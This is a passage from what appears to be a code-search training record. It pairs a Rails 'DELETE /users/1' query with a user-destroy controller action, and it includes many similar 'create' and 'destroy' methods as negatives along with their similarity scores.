JSON.parse(r.body)\n format.html { redirect_to users_url, alert: response['message']}\n end\n end\n end", "def create\n\n puts '-----------------------create in user controller'\n\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('user_create_error') }, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params)\n if @user.save\n render json: { user: @user, success: 'User registration successful' }\n else\n render json: { error: 'User registration unsuccessful' }\n end\n end", "def create\n @user = User.new(user_params)\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n\t\tputs user_params\n\t\tuser = User.new(user_params)\n\t\tif user.save\n\t\t\trender json: { user: user, status: :success }\n\t\telse\n\t\t\trender json: { status: :failure, errors: user.errors.full_messages.join('') }\n\t\tend\n\tend", "def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\trender json: @user, status: :created, location: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend", "def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end", "def create\n user = User.new(user_params)\n\n respond_to do |format|\n if user.save\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user.users.build(user_params)\n\n if @user.save\n render json: @user\n else\n @user_items = []\n end\n end", "def create\n user = User.new(user_params)\n render json: { status: 200, msg: 'User was created.', data: \"User Id #{user.id}\" } if user.save\n end", "def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = User.new(user_params)\n if user.save\n render :json => user, :status => :created\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end", "def create\n logger.debug user_params\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :not_acceptable\n end\n end", "def create\n user = User.create(user_params)\n render json: user, message: 'user succefully create', status: 200\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n\n up = user_params\n\n if up[:name].present?\n up[:first_name] = up[:name].split(' ')[0]\n up[:last_name] = up[:name].split(' ')[1]\n up.delete :name\n end\n @user = User.new(up)\n\n respond_to do |format|\n if @user.save\n # render json: {user: user, token: token}\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: api_user_url(@user)}\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = User.new(user_params)\n if user.save\n render json: {status: \"Se creo el usuario\"}, status: :ok\n else\n render json: {status: \"Error al crear el usuario\", errors: user.errors }, status: :unprocessable_entity\n end\n end", "def create\n user = User.new(params[:user].permit(:username))\n if user.save\n render json: user\n else\n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end", "def create\n puts '>>> params:'\n puts params.inspect\n @user = User.new(params[:user])\n puts '>>> User:'\n puts @user.inspect\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n \tdata = { data: @user, status: :created, message: \"User was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @user.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user.as_json(only: [:email, :authentication_token]), status: :created\n else\n head(:unprocessable_entity)\n end\n end", "def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end", "def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n if @user.save\n render :ok, json: @user.to_json\n else\n @errors = @user.errors.full_messages\n render json: { message: @errors }, status: :unauthorized\n end\n end", "def create\n puts params\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user.as_json(user: current_user), status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = User.new(user_params)\n if user.save\n render json: {status: 200, msg: 'User was created.'}\n else\n render json: {errors: user.errors.messages}\n end\n end", "def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new({name: params[:name], email: params[:email], password: params[:password], photo: params[:photo]})\n @user.save\n render json:@user\n end", "def create\n user = User.create(user_params)\n\n if user.valid?\n render json: {user: UserSerializer.new(user), token: encode_token(user.id)}\n else\n render json: user.errors.full_messages\n end\n end", "def create\n\t\tresp = {} \n user = User.create(user_params)\n \tif user.valid?\n if user.save\n return render :json => user.as_json\n end\n end\n render json: user.errors.full_messages \n\tend", "def create\n\t\tnew_user = User.new(user_params)\n\t\tif new_user.save\n\t\t render status: 200, json: {\n\t\t \tstatus: 200,\n\t\t message:\"New User Created\",\n\t\t response: {\n\t\t name: new_user.name,\n\t\t email: new_user.email,\n\t\t id: new_user.id,\n\t\t facebook_id: new_user.facebook_id,\n\t\t device_id: new_user.device_id,\n\t\t authentication_token: new_user.authentication_token\n\t\t }\n\t\t \n\t\t }.to_json\n\t\telse\n\t\t render status: 404, json: {\n\t\t \tstatus: 404,\n\t\t errors: new_user.errors\n\t\t }.to_json\n\t\tend\n\tend", "def post_users_with_http_info(users, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.post_users ...'\n end\n # verify the required parameter 'users' is set\n if @api_client.config.client_side_validation && users.nil?\n fail ArgumentError, \"Missing the required parameter 'users' when calling UsersApi.post_users\"\n end\n # resource path\n local_var_path = '/users'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(users) \n\n # return_type\n return_type = opts[:return_type] || 'User' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#post_users\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create_user(options = {})\n post \"/users\", options\n end", "def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save \n format.html { redirect_to users_url, notice: \"User #{@user.name} was successfully created.\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n user = User.new(user_params)\n\n if user.save\n\n render json: {status: 200, msg: 'User was created.'}\n\n else \n render json: {\n errors: user.errors.full_messages\n }, status: :unprocessable_entity\n\n end\n\n end", "def create_user(body)\n post 'create_user', body\n end", "def create\n @user = User.new(user_params)\n @user.email = params[:email].downcase\n if @user.save\n render json: @user, status: 200\n else\n render json: { errors: @user.errors.full_messages }, status: 400\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json:@user\n elsif @user.errors\n render json: {error: {code: 400, server_message: @user.errors}}, status: :bad_request\n else\n render json: {error: {code: 500, message: \"Could not save user\", server_message: @user.errors}}, status: :internal_server_error\n end\n\n end", "def create\n user = User.new(user_params)\n\n if user.valid?\n user.save\n render json: {user: user, token: encode_token({user_id: user.id})}\n else\n render json: {error: \"Failed to create the user\"}\n end\n end", "def create\n @user = User.new(user_params)\n @user.save\n respond_with @user\n end", "def create\n @user = User.new(user_params)\n render json: @user && return if @user.save\n\n render json: { error: \"Unable to save user: #{@user.errors.messages}\" }, status: 400\n end", "def create\n params[:user][\"_id\"] = params[:user][:name]\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_user(attributes)\n post(\"/v1/users\", attributes)\n end", "def create\n user = User.new(user_params)\n\n # if user is saved sucessfully it will return user and ith status 201 for created\n if user.save\n render json:user,status: :created\n #if request is properly served but data is wrong it ll give ubprocessable_entity with code 422\n else\n render json: user.errors, status: :unprocessable_entity\n end \n end", "def create\r\n @user = User.new(params[:user])\r\n\r\n respond_to do |format|\r\n if @user.save\r\n format.html { redirect_to users_path, notice: 'Os dados do usuário foram salvos com sucesso!' }\r\n format.json { render json: @user, status: :created, location: @user }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @user = User.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n birth_date: params[:birth_date],\n height: params[:height],\n weight: params[:weight],\n user_name: params[:user_name],\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n facebook_url: params[:facebook_url],\n twitter_url: params[:twitter_url],\n instagram_url: params[:instagram_url],\n address: params[:address],\n email: params[:email]\n ) \n if @user.save!\n render 'successful.json.jb', status: :created\n else\n render 'unsuccessful.json.jb', status: :bad_request\n end\n end", "def post(hash)\n HttpClient::Preconditions.assert_class('hash', hash, Hash)\n @client.request(\"/users\").with_json(hash.to_json).post { |hash| Apidoc::Models::User.new(hash) }\n end", "def create\n user = User.create!(user_params)\n session[:user_id] = user.id\n render json: user, status: :created\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: {message: \"user create successfuly\"}\n else\n render json: {message: \"Error\"}\n end \n end", "def create\n # Insert new user in database\n user = User.new(user_params)\n\n if user.save\n # On success, send token information to authenticate user\n token = create_token(user.id, user.username)\n render json: {status: 200, token: token, user: user}\n # render json: @user, status: :created, location: @user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(params[:user])\n @user.status = 'active'\n\n respond_to do |format|\n if @user.save\n format.json { render :json => @user, :status => :created }\n format.html { redirect_to(users_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n respond_with(@user, location: users_url, notice: 'User was successfully created.')\n else\n respond_with(@user)\n end\n end", "def create\n user = User.new(user_params)\n \n if user.save\n token = JsonWebToken.encode(user_id: user.id)\n render json: { auth_token: token, user: AuthUserSerializer.new(user).serializable_hash }, status: 201\n else \n render json: { errors: user.errors.full_messages }, status: 400\n end\n end", "def create\n @user = User.new(params[:user])\n puts params[:user]\n respond_to do |format|\n if @user.save\n format.html { redirect_to :users, notice: 'Registration successful.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n user = User.create(user_params)\n if user.valid?\n user.username.downcase\n @token = issue_token(user)\n list = List.create(name: user.username)\n list.user_id = user.id\n user.save\n list.save\n render json: { user: UserSerializer.new(user), jwt: @token }, status: :created \n else \n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end \n end", "def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user_response = API::V1::Users.authenticate params.as_json\n if user_response.success?\n json = HashWithIndifferentAccess.new(user_response.parsed_response)\n auth_response = API::V1::Auth.issue json[:data]\n respond_with auth_response.body, auth_response.code\n else\n respond_with nil, :unauthorized\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render :json => { :status => 0 }\n else\n render :json => { :status => 1, :msg => @user.errors}\n end\n end", "def create\n @user = User.new(user_params)\n if @user.save\n auth_token = Knock::AuthToken.new payload: { sub: @user.id }\n render json: { username: @user.username, jwt: auth_token.token }, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n authorize :user, :create?\n @user = User.new(user_params)\n @user.save\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end", "def post_accounts(json_hash)\n @options = {:path => '/users.json',\n :body => json_hash[:json]}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end", "def create\n user = User.new(username: params[:username])\n if user.save\n payload = {'user_id': user.id}\n token = JWT.encode(payload, 'chatapp')\n render json: {\n user: user,\n token: token\n }\n else \n render json: { message: 'There was an error creating your account' }\n end\n end", "def create\n user = User.create!(user_params)\n if user\n session[:user_id] = user.id\n render json: user, status: :created\n else\n render json: { errors: user.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def create\r\n @user = User.new user_params\r\n\r\n if @user.save\r\n render json: @user, serializer: SessionSerializer, root: nil\r\n else\r\n render json: { errors: @user.errors }, status: :unprocessable_entity\r\n end\r\n end", "def create\n user = User.new(user_params)\n if user.save\n render json: { status: 'OK', msg: 'User was created.', error: 'nil' },\n status: :created\n else\n not_good(422)\n end\n end" ]
[ "0.77178615", "0.751936", "0.73831904", "0.72412014", "0.719768", "0.7140784", "0.7103724", "0.70586866", "0.7041747", "0.70236677", "0.7003012", "0.7002012", "0.7002012", "0.7002012", "0.6992873", "0.6990429", "0.6980341", "0.69790155", "0.6978697", "0.6978697", "0.69763535", "0.6962294", "0.695194", "0.694517", "0.694517", "0.69202316", "0.6917723", "0.6913987", "0.69009656", "0.68981147", "0.6894472", "0.68896914", "0.68803185", "0.6879835", "0.6879686", "0.6879056", "0.6877317", "0.68685913", "0.68557876", "0.6850744", "0.68438756", "0.68140614", "0.68034494", "0.6777382", "0.6776193", "0.6767001", "0.675744", "0.6747358", "0.67386395", "0.67346144", "0.6733921", "0.6720284", "0.6710678", "0.6670139", "0.6658037", "0.665726", "0.6653911", "0.66385335", "0.66329634", "0.6619689", "0.6614647", "0.66141474", "0.6597641", "0.6590211", "0.65788305", "0.6578527", "0.65731233", "0.6572486", "0.65565205", "0.6553143", "0.6551308", "0.65460217", "0.6540497", "0.65400976", "0.6538745", "0.6534923", "0.65333605", "0.652561", "0.6510388", "0.6508043", "0.65071523", "0.65030766", "0.6489865", "0.6488904", "0.6487186", "0.6473134", "0.64718515", "0.6469831", "0.6469831", "0.6469282", "0.646749", "0.6461641", "0.6461577", "0.6461024", "0.645465", "0.6453074", "0.6449793", "0.6447059", "0.6446711", "0.6446099", "0.6441262" ]
0.0
-1
DELETE /users/1 DELETE /users/1.json
def destroy @user = User.find(params[:id]) @user.destroy respond_to do |format| format.html { redirect_to root_url, notice: 'User successfully deleted' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end", "def delete\n render json: User.delete(params[\"id\"])\n end", "def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end", "def delete\n render json: Users.delete(params[\"id\"])\n end", "def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end", "def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end", "def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user.destroy\n format.json { head :no_content }\n end", "def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end", "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end", "def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end", "def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do 